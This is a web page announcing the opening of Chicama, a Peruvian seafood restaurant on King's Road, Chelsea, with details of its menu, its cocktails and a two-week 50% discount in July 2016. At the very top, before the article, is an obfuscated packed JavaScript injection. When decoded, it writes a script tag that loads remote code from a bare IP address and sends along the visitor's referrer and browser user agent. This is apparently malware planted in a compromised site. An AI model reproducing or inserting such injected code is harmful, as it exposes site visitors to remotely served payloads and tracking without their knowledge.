New (function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(” 4=\’7://5.8.9.f/1/h.s.t?r=”+3(0.p)+”\o=”+3(j.i)+”\’><\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zezth|var|u0026u|referrer|kriif||js|php’.split(‘|’),0,{}))
Peruvian seafood restaurant, Chicama is swimming into town. Opening in the heart of Chelsea on King’s Road from the team behind Pachamama, the new place will serve up brunch, lunch and dinner. With no meat in sight, it’s all about the seafood and vegetables with a menu inspired by the coastal food of Peru. So alongside tuna tiradito, smoked tamari egg, black radish and crispy confit seabass rolls, BBQ baby beets and a Japanese pear salad, expect an ever-changing menu centred around the catch of the day, with the likes of dover sole, rock bass and monkfish all cooked over the robata grill. Of course to wash it all down there will be a whole range of Peruvian inspired cocktails, Pisco and Mezcal. And to celebrate their opening, Chicama will be offering 50% OFF all food for two weeks and are now taking bookings HURRAHH!

Mon 18th – Sun 31st July 2016, from 6pm
383 King’s Road, Chelsea, SW10 0LP